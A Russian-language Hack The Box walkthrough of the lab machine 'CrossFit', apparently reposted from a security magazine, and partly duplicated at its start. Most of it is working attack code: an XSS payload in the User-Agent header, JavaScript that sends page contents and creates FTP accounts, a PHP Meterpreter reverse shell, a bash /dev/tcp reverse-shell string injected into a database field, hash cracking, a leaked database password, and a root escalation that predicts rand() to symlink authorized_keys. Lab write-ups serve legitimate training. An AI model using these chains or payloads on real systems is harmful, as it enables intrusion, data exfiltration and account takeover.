В этой статье на примере «безумной» по уровню сложности машины CrossFit с площадки Hack The Box я покажу, как искать XSS на недоступных страницах сайта, сканировать домены через XSS, проводить разведку на машине с Linux, удаленно исполнять код, используя FTP, и эксплуатировать инъекцию команд в пользовательском приложении. А под конец немного пореверсим, чтобы найти финальную уязвимость.
Сканируем порты. Я, как всегда, использую небольшой скрипт, который запускает Nmap в два этапа: быстрое общее сканирование и затем сканирование со скриптами на обнаруженных портах.
Результат работы скрипта
По результатам сканирования имеем три открытых порта:
Доменное имя, указанное в поле Common Name
Найденное имя мы сразу добавляем в файл
Стартовая страница Apache по адресу http://crossfit.htb
Пользовательский сайт http://gym-club.crossfit.htb
Одно из первых действий при пентестинге веб‑приложения — это сканирование сайта на наличие интересных каталогов и файлов. Я обычно беру для этого утилиту gobuster. При запуске используем следующие параметры:
Обнаруженные подкаталоги и файлы на
Обнаруженные подкаталоги и файлы на
По результатам сканирования можно сказать, что http://crossfit.htb интереса больше не представляет. На
Обнаруженные подкаталоги и файлы на gym-club.crossfit.htb
Пока ничего существенного мы не нашли, но все же получили дополнительную информацию.
И, когда все готово, отправим нагрузку, которая должна загрузить удаленный скрипт на JS.
Тестовая нагрузка в поле комментария
В качестве ответа на такой комментарий получаем сообщение об обнаруженной и заблокированной атаке XSS!
Сообщение о блокировке XSS
Здесь сказано, что наш IP-адрес и информация о браузере будут предоставлены администратору ресурса. Прекрасно! Значит, мы можем попробовать выполнить XSS, но уже для администратора.
На источник IP мы повлиять не можем, а вот информацию о браузере сервис узнает из заголовка User-Agent протокола HTTP. Значение этого заголовка мы можем подменить хоть в самом браузере, хоть в специальных приложениях вроде Burp.
Стоит помнить, что сообщение будет доставлено только в случае детекта XSS. То есть нужно отправить нагрузку и в поле комментария, и в заголовке User-Agent. Я открыл порт 8888 и заменил значение заголовка при помощи Burp. После отправки запроса получаем отклик в логах нашего веб‑сервера.
Запрос, содержащий нагрузку XSS в заголовке User-Agent
Попытка загрузки скрипта с веб‑сервера локального хоста (отклик)
Это значит, что мы можем выполнить загрузку удаленного скрипта на JS и эксплуатировать XSS.
Код запрошенной страницы здесь сохраняется в переменной
Сохраняем его в файл (у меня evil.js) в директории запущенного веб‑сервера. После чего повторяем запрос с известной нагрузкой в заголовке User-Agent, но уже указываем для загрузки скрипта свой файл.
В логах веб‑сервера получаем информацию: сначала о загрузке скрипта, а потом обращение к вымышленной странице. В качестве аргумента приходят данные в кодировке Base64, декодируем их.
Логи локального веб‑сервера
Декодирование кода страницы report.php
К сожалению, ничего интересного мы не получаем, так что в этом месте мне пришлось крепко задуматься о том, как развивать атаку дальше. В голову пришла идея проверить доступные с localhost виртуальные хосты. Сканер для этого придется реализовать самостоятельно.
Идея состоит в том, что мы будем провоцировать удаленный хост снова и снова загружать скрипт на JS с нашего локального сервера, но только каждый раз мы будем возвращать такой скрипт, который вместо страницы
Программировать будем на питоне. Нам нужно проверять код ответа — если он равен 200, значит, виртуальный хост существует.
Сначала пишем стандартную «базу» для сервера.
Чтобы избежать кеширования файла при многократном запросе, будем вести счетчик vhost_number и каждый раз менять имя файла со скриптом на JS. В качестве словаря используем namelist.txt из набора SecLists.
Теперь реализуем функцию первоначальной отправки комментария, которая будет отсылать нагрузку.
В классе сервера обработаем GET-запрос. Если обращение происходит к evil.js, то вернем скрипт, который будет выполнять обращение к тестируемому поддомену. Если такой поддомен существует, то он будет передан в качестве параметра в повторном запросе на наш сервер.
Осталось реализовать функцию, которая будет возвращать JS.
Важные функции я описал, остальной код приводить не стану — если будешь повторять прохождение, ты без труда воссоздашь его.
Скрипт работает медленно, но дает результат!
Код сервера
Результат сканирования
Убедившись, что скрипт работает, я остановил его и внес изменения, которые обеспечат нам удобство при работе. Первым делом добавляем функцию requestPage с измененной нагрузкой
Нагрузка будет запрашивать уже известный нам файл JS для просмотра страниц.
И будем вызывать ее в функции run() вместо request().
Далее я добавил в метод do_GET() обработку запросов getpage.js и page. Таким образом Base64 будет декодироваться, чтобы мы могли видеть HTML прямо в браузере (так гораздо удобнее).
Все готово, запускаем. После выполнения этого «эксплоита» получим окно с кодом страницы и ее представление в браузере.
Код сервера
Результат выполнения скрипта
Кажется, эта страница позволяет нам создать пользователя для службы FTP. Давай перейдем на вкладку Create New Account, для чего в коде изменим один адрес.
Изменение параметра функции getpagejs()
Результат выполнения скрипта
Из исходного кода мы получаем необходимые параметры, такие как username и password. Также узнаем о том, что нужно получать токен, а это придется делать тоже с помощью JS. Для выполнения этих операций добавим новую функцию
Эта функция возвращает модифицированный код на JS, который первый раз запрашивает страницу, чтобы получить токен, а второй раз отправляет заполненную форму, тем самым создавая нового пользователя ralf с паролем ralf (в моем случае). В методе to_GET изменим вызов getpagejs() на вызов новой функции createuser(). После выполнения скрипта в окне браузера наблюдаем свежесозданного пользователя.
Результат выполнения скрипта
Подключение к службе FTP и просмотр содержимого каталога
По именам каталогов легко определить, что это директории веб‑сервера и соответствующих виртуальных хостов. Как поступать в таких ситуациях, всем давно известно — разместить свой шелл. В случае с PHP можно легко сгенерировать его с помощью MSFvenom со следующими параметрами:
Создание нагрузки
И запустим листенер, который будет ждать обратного подключения от нагрузки. Для быстрого запуска из metasploit используем команду handler с параметрами, указанными при создании нагрузки.
Осталось загрузить на FTP скрипт и обратиться к нему. Но во время реализации обнаруживается нюанс: единственная доступная для записи директория — development-test. Загружаем скрипт в эту директорию командой put.
Запуск листенера metasploit handler
Обращаться придется к вновь найденной директории, поэтому добавим в нашу программу еще одну функцию. При этом в методе to_GET изменим createuser() на getshell(), где выполняется запрос по новому доменному имени.
После запуска скрипта получаем шелл, о чем свидетельствует терминал Metasploit. Сразу же нужно проверить, в контексте какого пользователя мы работаем. Для Meterpreter это команда getuid.
Создание сессии Meterpreter и выполнение команды getuid
Загрузка и выполнение скрипта LinPEAS
После того как скрипт отработает, у нас появляется новая трудная задача — выбрать информацию, которая приведет к успешному продвижению. В данном случае отметим для себя пользователей, имеющих интерактивную оболочку и два найденных хеша (скрипт просто определяет специфическую структуру строки).
Пользователи с консолью
Найденные в разных файлах специфические строки (хеши)
Найден файл adduser_hank.yml — из названия можно сделать вывод, что представленный хеш — это результат хеширования пароля пользователя hank. С помощью знаменитого hashcat можно не только быстро ломать хеши и создавать правила или списки паролей, но и определять тип хеша. В структуре хеша есть редкая последовательность $6$, которая и определяет тип хеша, поэтому узнать алгоритм труда не составит.
Получение алгоритма хеширования
Нам сообщают, что это SHA-512 и что, если мы хотим перебирать его, нужно использовать код режима 1800. Так мы и поступим, а в качестве словаря с паролями используем знаменитый rockyou.
Взлом найденного хеша SHA-512
Так как служба SSH активна (не забываем о результатах сканирования портов), мы подключаемся с найденным паролем и получаем первый флаг.
Пользовательский флаг
Снова выполним LinPEAS и отберем наиболее важную информацию. Что очень важно, мы получаем записи cron. К тому же пользователь присутствует в группе admin, что дает нам право читать файлы из директории
Записи cron
Файлы, ограниченные для чтения
Служба cron позволяет запускать программы на сервере в определенное время. В данном случае — от имени пользователя isaac выполняется скрипт на PHP. Конечно же, сразу смотрим код внутри файла.
Содержимое файла send_updates.php
В этом скрипте происходит перечисление файлов и директории сообщений ($msg_dir). Если файл обнаружен (isFile()), то делается запрос к базе данных ($conn->query) для получения значений столбца email из таблицы users. Каждая возвращенная строка (адрес электронной почты) будет передана в качестве аргумента утилите mail. В самом конце от имени пользователя isaac выполняется вот такая команда:
Так как команда выполняется в системе, а входными данными можно манипулировать, то на ум приходит инъекция команд (command injection). Если мы сможем разместить любой файл в директории с сообщениями, то произойдет запрос к БД. Также нужно будет подключиться к базе данных и создать запись, что позволит манипулировать параметром команды mail.
Подставим в команду выше вот такую нагрузку:
Полная команда станет такой:
Сначала будет выполнен код внутри конструкции $(...), что приведет к выполнению реверс‑шелла. Но мы сталкиваемся с рядом проблем: как подключаться к базе данных и что за директория с сообщениями.
Для подключения к базе данных нужны учетные данные. Но к подключаемому файлу db.php доступа у нас нет. Найдем в директории веб‑сервера на FTP подобный файл и попробуем получить учетные данные из него.
Содержимое файла db.php
Одна проблема решена. Дальше нужно вспомнить о праве на чтение файлов, расположенных в каталоге /etc/pam.d. PAM — это набор подключаемых модулей, которые отвечают за аутентификацию в системе. По сути, это API, который операционная система или приложения могут использовать, чтобы отправить запросы на проверку подлинности пользователя. А файлы настроек содержатся именно в этой директории.
Быстренько ищем по ключевым словам и находим учетные данные администратора FTP. Следующей командой мы из всех файлов в директории выбираем строки, в которых содержится хоть одна из подстрок: pas, pwd, secr или key, а также исключаем все закомментированные строки (-v '#').
Фильтрация файлов PAM
Подключимся к FTP от имени админа и найдем директорию messages.
Подключение к службе FTP
Выходит, у нас есть и возможность манипулировать данными и в базе, и в директории сообщений. Запустим MySQL и посмотрим, какие есть базы данных.
Список баз данных
Будем использовать пользовательскую базу crossfit, так как information_schema — служебная. В crossfit и найдем таблицу users.
Список таблиц в базе crossfit
Все сходится, поэтому, как и планировали:
Получение бэкконнекта
Для удобства работы сгенерируем ключ SSH командой ssh-keygen и запишем сгенерированный публичный ключ пользователю в файл ~/.shh/authorized_keys.
Запись публичного ключа
Теперь можем заходить по SSH с использованием закрытого ключа.
Авторизованный пользователь isaac
Вывод получился очень объемный, поэтому я сохранил его в файл и решил немного отфильтровать. Убираем из лога все упоминания /etc/, поскольку нас не интересуют сообщения об обращении к файлам passwd, shadow и тому подобным. Также нас не интересуют файлы PHP, так как с этим уже работали и тут ничего нового нет. Можно посмотреть только события, связанные с директорией var, но там нет ничего интересного, поэтому ее тоже исключаем из вывода. Команда wc -l покажет количество переданных строк.
Фильтрация строк в файле логов
Теперь события будет просмотреть удобней. Из общего фона использования библиотек замечаем утилиту dbmsg, которая запускается раз в минуту.
Логи утилиты pspy64
Логи запуска утилиты dbmsg
Загружаем бинарник на локальную машину с помощью команды scp и открываем в любом декомпиляторе. Я использовал Hex-rays IDA Pro.
В декомпиляторе переходим к функции main(). После старта программы сразу проверяются привилегии пользователя (должен быть root) и генератор псевдослучайных чисел инициализируется текущим временем.
Декомпилированный код функции main
В функции process_data() происходит подключение к базе данных и считывание данных из таблицы messages.
Декомпилированный код функции process_data
Далее программа читает строки таблицы и проверяет столбцы (id, name, email, messages). После чего в директории /var/local/ создает файл с именем md5(rand() + id), куда записывает значения name, messages и email (именно в этом порядке). Затем выполняется zip, после чего файл удаляется.
Декомпилированный код функции process_data (продолжение)
Тут‑то и наметился следующий вектор атаки: мы можем рассчитывать используемые псевдослучайные числа, а значит, и узнать имя файла; к тому же мы можем контролировать его содержимое, создавая записи в базе данных. Учитывая, что операции выполняются от имени root, мы можем создать ссылку с таким именем, и она будет указывать на файл authorized_keys. Останется лишь записать в него SSH-ключ! Что ж, за дело!
Сначала сгенерируем ключи. Чтобы сэкономить место, используем ed25519.
Генерация SSH-ключей
Теперь напишем программу, которая будет генерировать и выводить псевдослучайное число в зависимости от текущего времени.
А затем компилируем этот код с помощью gcc.
Теперь нужно загрузить бинарь на хост, после чего написать конвейер для получения имени файла. Так как мы будем создавать сообщение заново, то id всегда равен единице.
Тестирование получения имен файла
Так как запись не просуществует в базе долго, будем производить запись сообщения с ключом и линковку файла одним скриптом:
Выполняем скрипт и подключаем по SSH c приватным ключом.
Выполнение скрипта
Получение флага пользователя root
Вот мы и захватили машину CrossFit! Теперь мы имеем над ней полный контроль.
Автор @RalfHacker
источник хакер.ру
РАЗВЕДКА
Сканирование портов
Адрес машины — 10.10.10.208, добавляем его в /etc/hosts для удобства.
Код:
10.10.10.208 crossfit.htb
Bash:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Результат работы скрипта
По результатам сканирования имеем три открытых порта:
- порт 21 — служба FTP (обрати внимание на наличие сертификата);
- порт 22 — служба SSH;
- порт 80 — веб‑сервер Apache.
Доменное имя, указанное в поле Common Name
Найденное имя мы сразу добавляем в файл
/etc/hosts.
Код:
10.10.10.208 gym-club.crossfit.htb
Перебор каталогов
Переходим к веб‑серверу. На 80-м порте по адресуhttp://crossfit.htb нас встречает стартовая страница Apache. А вот по найденному в сертификате домену http://gym-club.crossfit.htb открывается сайт тренажерного зала.
Стартовая страница Apache по адресу http://crossfit.htb
Пользовательский сайт http://gym-club.crossfit.htb
Одно из первых действий при пентестинге веб‑приложения — это сканирование сайта на наличие интересных каталогов и файлов. Я обычно беру для этого утилиту gobuster. При запуске используем следующие параметры:
- dir — сканирование директорий и файлов;
- -k — не проверять SSL-сертификат;
- -t [] — количество потоков;
- -u [] — URL-адрес для сканирования;
- -x [] — интересующие расширения файлов, перечисленные через запятую;
- -w [] — словарь для перебора;
- --timeout [] — время ожидания ответа.
Код:
gobuster dir -t 128 -u http://crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
Обнаруженные подкаталоги и файлы на
http://crossfit.htb
Код:
gobuster dir -t 128 -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
Обнаруженные подкаталоги и файлы на
http://gym-club.crossfit.htbПо результатам сканирования можно сказать, что http://crossfit.htb интереса больше не представляет. На
http://gym-club.crossfit.htb есть интересный каталог с вызывающим названием security_threat. В нем — единственный файл, при обращении к которому получаем сообщение, что доступ к информации ограничен.
Обнаруженные подкаталоги и файлы на gym-club.crossfit.htb
Пока ничего существенного мы не нашли, но все же получили дополнительную информацию.
ТОЧКА ВХОДА
При осмотре сайта находим форму отправки комментариев, которые могут быть подвержены XSS. Вот только ответ мы не видим, поэтому нужно выполнить отстук на свой хост. Для этого откроем порт с помощью простого веб‑сервера на Python, чтобы мы могли отлавливать все обращения.
Код:
sudo python3 -m http.server 80
Код:
<script src="http://[локальный IP адрес]/></script>
Тестовая нагрузка в поле комментария
В качестве ответа на такой комментарий получаем сообщение об обнаруженной и заблокированной атаке XSS!
Сообщение о блокировке XSS
Здесь сказано, что наш IP-адрес и информация о браузере будут предоставлены администратору ресурса. Прекрасно! Значит, мы можем попробовать выполнить XSS, но уже для администратора.
На источник IP мы повлиять не можем, а вот информацию о браузере сервис узнает из заголовка User-Agent протокола HTTP. Значение этого заголовка мы можем подменить хоть в самом браузере, хоть в специальных приложениях вроде Burp.
Стоит помнить, что сообщение будет доставлено только в случае детекта XSS. То есть нужно отправить нагрузку и в поле комментария, и в заголовке User-Agent. Я открыл порт 8888 и заменил значение заголовка при помощи Burp. После отправки запроса получаем отклик в логах нашего веб‑сервера.
Запрос, содержащий нагрузку XSS в заголовке User-Agent
Попытка загрузки скрипта с веб‑сервера локального хоста (отклик)
Это значит, что мы можем выполнить загрузку удаленного скрипта на JS и эксплуатировать XSS.
XSS
Теперь нужно определиться с вектором атаки. Помнишь страницу с ограничением доступа? От имени администратора мы наверняка сможем ее посмотреть, а XSS поможет нам в этом. Код страницы мы получим, используя методы open и send объектаXMLHttpRequest.
Код:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send();
xhr.responseText, и его еще нужно передать на наш сервер, чтобы он отобразился в логах. Значение для сохранения целостности сначала закодируем в Base64, чтобы непечатаемые символы нам не помешали. В качестве триггера для отправки будем использовать метод onload объекта XMLHttpRequest. Полный код выглядит следующим образом.
Код:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true);
request.send();
};
xhr.send();
Код:
<script src="http://10.10.14.80:8888/evil.js"></script>
Логи локального веб‑сервера
Декодирование кода страницы report.php
К сожалению, ничего интересного мы не получаем, так что в этом месте мне пришлось крепко задуматься о том, как развивать атаку дальше. В голову пришла идея проверить доступные с localhost виртуальные хосты. Сканер для этого придется реализовать самостоятельно.
Идея состоит в том, что мы будем провоцировать удаленный хост снова и снова загружать скрипт на JS с нашего локального сервера, но только каждый раз мы будем возвращать такой скрипт, который вместо страницы
http://gym-club.crossfit.htb/security_threat/report.php будет запрашивать корневую страницу на разных поддоменах http://[random].crossfit.htb.Программировать будем на питоне. Нам нужно проверять код ответа — если он равен 200, значит, виртуальный хост существует.
Сначала пишем стандартную «базу» для сервера.
Python:
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import requests
def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
request()
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == '__main__':
run()
Python:
global vhost_number
vhost_number = 0;
with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f:
global vhosts
vhosts = f.read().split('\n')[:-1]
Python:
def request():
headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}
data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}
requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
Python:
class EvilServer(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response_only(200)
self.end_headers()
def do_GET(self):
global vhost_number
self._set_response()
if vhost_number < len(vhosts):
if self.path == '/evil'+str(vhost_number)+'.js':
self.wfile.write(eviljs().encode('utf-8'))
if 'vhost=' in self.path[:7]:
print("vhost found: " + self.path[7:])
request()
Python:
def eviljs():
global vhost_number
jscode = """var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://XXX.crossfit.htb/', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function(){
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/vhost=XXX', true);
request.send();
};
xhr.send();""".replace('XXX', vhosts[vhost_number])
print(str(vhost_number+1)+ "/" + str(len(vhosts)) + " " + vhosts[vhost_number] + " "*10, end="\r")
vhost_number += 1
return jscode
Скрипт работает медленно, но дает результат!
Код сервера
Результат сканирования
Убедившись, что скрипт работает, я остановил его и внес изменения, которые обеспечат нам удобство при работе. Первым делом добавляем функцию requestPage с измененной нагрузкой
evil.js.
JavaScript:
def requestPage():
headers = {'User-Agent':'<script src="http://10.10.14.80:8888/getpage.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}
data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}
requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
JavaScript:
def getpagejs(page="http://ftp.crossfit.htb/"):
return """var xhr = new XMLHttpRequest();
xhr.open('GET', '""" + page + """', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function(){
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/page=' + btoa(xhr.responseText), true);
request.send();
};
xhr.send();"""
Код:
def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
requestPage()
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == '__main__':
run()
Код:
class EvilServer(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response_only(200)
self.end_headers()
def do_GET(self):
global vhost_number
self._set_response()
if vhost_number < len(vhosts):
if self.path == '/evil'+str(vhost_number)+'.js':
self.wfile.write(eviljs().encode('utf-8'))
if 'vhost=' in self.path[:7]:
print("vhost found: " + self.path[7:])
if self.path == '/getpage.js':
self.wfile.write(getpagejs().encode('utf-8'))
if 'page=' in self.path[:6]:
print(base64.b64decode(self.path[6:]).decode())
with open("page.html", "w") as f:
f.write(base64.b64decode(self.path[6:]).decode())
os.system("firefox page.html")
Код сервера
Результат выполнения скрипта
Кажется, эта страница позволяет нам создать пользователя для службы FTP. Давай перейдем на вкладку Create New Account, для чего в коде изменим один адрес.
Изменение параметра функции getpagejs()
Результат выполнения скрипта
Из исходного кода мы получаем необходимые параметры, такие как username и password. Также узнаем о том, что нужно получать токен, а это придется делать тоже с помощью JS. Для выполнения этих операций добавим новую функцию
createuser().
Код:
def createuser():
return """
var username='ralf'; var password='ralf';
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'http://ftp.crossfit.htb/accounts/create', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function(){
if(xhr.readyState){
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/page=' + btoa(xhr.responseText), false);
request.send();
}
};
xhr.send();
var r = /token" value="(.*)"/g
var token =r.exec(xhr.responseText)[1];
var params = '_token=' + token + '&username=' + username + '&pass=' + password + '&submit=submit';
xhr.open('POST', "http://ftp.crossfit.htb/accounts", false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);"""
Результат выполнения скрипта
ШЕЛЛ
После создания пользователя для службы FTP попробуем авторизоваться на сервере. Поскольку там используется SSL, будем использовать клиент lftp. При подключении необходимо отключить проверку сертификата.
Код:
set ssl:verify-certificate no
connect crossfit.htb
login ralf
Подключение к службе FTP и просмотр содержимого каталога
По именам каталогов легко определить, что это директории веб‑сервера и соответствующих виртуальных хостов. Как поступать в таких ситуациях, всем давно известно — разместить свой шелл. В случае с PHP можно легко сгенерировать его с помощью MSFvenom со следующими параметрами:
- -p [] — используемая нагрузка (конечно, берем Meterpreter);
- LHOST=[] — IP-адрес локального хоста;
- LPORT=[] — локальный порт;
- -f [] — формат, в котором будет представлена нагрузка.
Код:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.80 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Создание нагрузки
И запустим листенер, который будет ждать обратного подключения от нагрузки. Для быстрого запуска из metasploit используем команду handler с параметрами, указанными при создании нагрузки.
Код:
handler -p php/meterpreter_reverse_tcp -H 10.10.14.129 -P 4321
Запуск листенера metasploit handler
Обращаться придется к вновь найденной директории, поэтому добавим в нашу программу еще одну функцию. При этом в методе to_GET изменим createuser() на getshell(), где выполняется запрос по новому доменному имени.
Код:
def getshell():
return """
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://development-test.crossfit.htb/r.php', false);
xhr.send()"""
Создание сессии Meterpreter и выполнение команды getuid
ПРОДВИЖЕНИЕ
Первый юзер
Возникает вопрос — что же делать после того, как получил шелл в системе? Как найти путь, который приведет к повышению привилегий? На этот случай существуют скрипты PEASS — они есть и для Windows, и для Linux. Скачиваем скрипт для Linux, переходим в Meterpreter и командой upload загружаем его на удаленный хост. Получив командную оболочку (команда shell), назначаем права на исполнение и выполняем.
Загрузка и выполнение скрипта LinPEAS
После того как скрипт отработает, у нас появляется новая трудная задача — выбрать информацию, которая приведет к успешному продвижению. В данном случае отметим для себя пользователей, имеющих интерактивную оболочку и два найденных хеша (скрипт просто определяет специфическую структуру строки).
Пользователи с консолью
Найденные в разных файлах специфические строки (хеши)
Найден файл adduser_hank.yml — из названия можно сделать вывод, что представленный хеш — это результат хеширования пароля пользователя hank. С помощью знаменитого hashcat можно не только быстро ломать хеши и создавать правила или списки паролей, но и определять тип хеша. В структуре хеша есть редкая последовательность $6$, которая и определяет тип хеша, поэтому узнать алгоритм труда не составит.
Код:
hashcat --example | grep -A1 -B1 '\$6\$'
Получение алгоритма хеширования
Нам сообщают, что это SHA-512 и что, если мы хотим перебирать его, нужно использовать код режима 1800. Так мы и поступим, а в качестве словаря с паролями используем знаменитый rockyou.
Код:
hashcat -a 0 -m 1800 hash.txt ./tools/rockyou.txt
Взлом найденного хеша SHA-512
Так как служба SSH активна (не забываем о результатах сканирования портов), мы подключаемся с найденным паролем и получаем первый флаг.
Пользовательский флаг
Второй юзер
Так как мы получили креды нового пользователя, всю разведку на хосте нужно проводить заново! У нас ведь теперь совершенно другие привилегии, и этот момент многие упускают.Снова выполним LinPEAS и отберем наиболее важную информацию. Что очень важно, мы получаем записи cron. К тому же пользователь присутствует в группе admin, что дает нам право читать файлы из директории
/etc/pam.d/.
Записи cron
Файлы, ограниченные для чтения
Служба cron позволяет запускать программы на сервере в определенное время. В данном случае — от имени пользователя isaac выполняется скрипт на PHP. Конечно же, сразу смотрим код внутри файла.
Содержимое файла send_updates.php
В этом скрипте происходит перечисление файлов и директории сообщений ($msg_dir). Если файл обнаружен (isFile()), то делается запрос к базе данных ($conn->query) для получения значений столбца email из таблицы users. Каждая возвращенная строка (адрес электронной почты) будет передана в качестве аргумента утилите mail. В самом конце от имени пользователя isaac выполняется вот такая команда:
Код:
/usr/bin/mail -s 'Crossfit Club Newsletter' [адрес электронной почты]
Подставим в команду выше вот такую нагрузку:
Код:
-E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')
Код:
/usr/bin/mail -s 'Crossfit Club Newsletter' -E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')
Для подключения к базе данных нужны учетные данные. Но к подключаемому файлу db.php доступа у нас нет. Найдем в директории веб‑сервера на FTP подобный файл и попробуем получить учетные данные из него.
Содержимое файла db.php
Одна проблема решена. Дальше нужно вспомнить о праве на чтение файлов, расположенных в каталоге /etc/pam.d. PAM — это набор подключаемых модулей, которые отвечают за аутентификацию в системе. По сути, это API, который операционная система или приложения могут использовать, чтобы отправить запросы на проверку подлинности пользователя. А файлы настроек содержатся именно в этой директории.
Быстренько ищем по ключевым словам и находим учетные данные администратора FTP. Следующей командой мы из всех файлов в директории выбираем строки, в которых содержится хоть одна из подстрок: pas, pwd, secr или key, а также исключаем все закомментированные строки (-v '#').
Код:
cat * | grep "pas\|pwd\|secr\|key" | grep -v '#'
Фильтрация файлов PAM
Подключимся к FTP от имени админа и найдем директорию messages.
Код:
lftp
set ssl:verify-certificate no
lftp :~> connect crossfit.htb
lftp crossfit.htb:~> login ftpadm
Подключение к службе FTP
Выходит, у нас есть и возможность манипулировать данными и в базе, и в директории сообщений. Запустим MySQL и посмотрим, какие есть базы данных.
Код:
mysql -u crossfit -poeLoo~y2baeni
Список баз данных
Будем использовать пользовательскую базу crossfit, так как information_schema — служебная. В crossfit и найдем таблицу users.
Список таблиц в базе crossfit
Все сходится, поэтому, как и планировали:
- Откроем листенер.
rlwrap nc -lvp 4321 - Загрузим в директорию сообщений любой файл.
Загрузка файла на FTP-сервер
Пишем в таблицу:
insert into users (id, email) values (9001, "- E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')");
Создание записи в базе данных
Получение бэкконнекта
Для удобства работы сгенерируем ключ SSH командой ssh-keygen и запишем сгенерированный публичный ключ пользователю в файл ~/.shh/authorized_keys.
Запись публичного ключа
Теперь можем заходить по SSH с использованием закрытого ключа.
Авторизованный пользователь isaac
РУТ
В этот раз использование LinPEAS ничего интересного не показывает, поэтому посмотрим, есть ли периодически запускаемые в системе процессы, с помощью pspy64. Простой запуск pspy ничего не дал, поэтому я запустил его с параметром -f, чтобы отлавливать события файловой системы.
Код:
pspy64 -f
Фильтрация строк в файле логов
Теперь события будет просмотреть удобней. Из общего фона использования библиотек замечаем утилиту dbmsg, которая запускается раз в минуту.
Логи утилиты pspy64
Логи запуска утилиты dbmsg
Загружаем бинарник на локальную машину с помощью команды scp и открываем в любом декомпиляторе. Я использовал Hex-rays IDA Pro.
Код:
scp -i id_rsa isaac@crossfit.htb:/usr/bin/dbmsg ./
Декомпилированный код функции main
В функции process_data() происходит подключение к базе данных и считывание данных из таблицы messages.
Декомпилированный код функции process_data
Далее программа читает строки таблицы и проверяет столбцы (id, name, email, messages). После чего в директории /var/local/ создает файл с именем md5(rand() + id), куда записывает значения name, messages и email (именно в этом порядке). Затем выполняется zip, после чего файл удаляется.
Декомпилированный код функции process_data (продолжение)
Тут‑то и наметился следующий вектор атаки: мы можем рассчитывать используемые псевдослучайные числа, а значит, и узнать имя файла; к тому же мы можем контролировать его содержимое, создавая записи в базе данных. Учитывая, что операции выполняются от имени root, мы можем создать ссылку с таким именем, и она будет указывать на файл authorized_keys. Останется лишь записать в него SSH-ключ! Что ж, за дело!
Сначала сгенерируем ключи. Чтобы сэкономить место, используем ed25519.
Генерация SSH-ключей
Теперь напишем программу, которая будет генерировать и выводить псевдослучайное число в зависимости от текущего времени.
Код:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
srand(time(0));
printf("%d", rand());
return 0;
}
Код:
gcc rand_int.c -o rand_int.bin
Тестирование получения имен файла
Так как запись не просуществует в базе долго, будем производить запись сообщения с ключом и линковку файла одним скриптом:
Bash:
#/bin/bash
mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email,message) values (1, "ssh-ed25519","ralf@ralf-PC","AAAAC3N.....Pt0xQdJ");'
while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./rand_int.bin)1 | md5sum | cut -d " " -f 1) 2>/dev/null; done
Выполнение скрипта
Получение флага пользователя root
Вот мы и захватили машину CrossFit! Теперь мы имеем над ней полный контроль.
Автор @RalfHacker
источник хакер.ру